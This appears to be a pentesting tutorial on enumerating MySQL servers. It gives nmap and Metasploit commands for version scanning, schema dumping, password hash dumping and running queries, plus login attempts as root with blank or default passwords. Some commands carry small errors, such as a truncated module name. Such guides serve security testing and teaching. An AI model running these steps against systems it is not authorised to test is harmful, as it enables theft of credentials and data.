MySQL Enumeration

MySQL is a widely used open-source relational database management system that stores and manages data for various applications. MySQL servers often contain sensitive information about users, such as usernames and passwords, that can be used in social engineering attacks or password guessing.

Enumeration with nmap

Lets start our enumeration of Mysql with nmap.

```
sudo nmap -sS -sV -p 3306 --script mysql* 192.168.29.141
```

Enumeration with Metasploit

Enumerating Mysql version

Metasploit has various module to enumerate Mysql sevice. We will start by enumerating the mysql version.

```
use auxiliary/scanner/mysql/mysql_version
set RHOSTS <Target>
run
```

Enumerating Mysql

We can further enumerate mysql service using metasploit but it need creds to go deeper. But lets still test it with some common username like root and no password.

```
use auxiliary/admin/mysql/mysql_enu
set RHOSTS
set USERNAME <username>
set PASSWORD <password>
run
```

Dumping the Database schema using mysql_schemadump module

Next, we can also dump the database schema in use usng the mysql_schemadump module.

```
use auxiliary/scanner/mysql/mysql_schemadump
set RHOSTS <target>
set USERNAME <username>
run
```

Dumping Mysql password hashes

Further, we can also dump Mysql password hashes with Metasploit.

```
use auxiliary/scanner/mysql/mysql_hashdump
set RHOSTS <Target>
set USERNAME <username>
run
```

Running SQL Queries with Metasploit

Okay, so with the help of mysql_sql module, we can run sql queries on the target.

```
use auxiliary/admin/mysql/mysql_sql
set RHOSTS <Target>
set USERNAME <username>
run
```

Post Enumeration:

Now when we are done with the enumeration, let see some post enumeration things we can do. The first thing is to connect with the target mysql server, this can be done locally like

1. **Local connect**

```
mysql -u root -> # Connect to root without password
mysql -u root -p -> # A password will be asked

#Always test root:root credential
```

Or remotely

2. **Remote connect**

```
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```
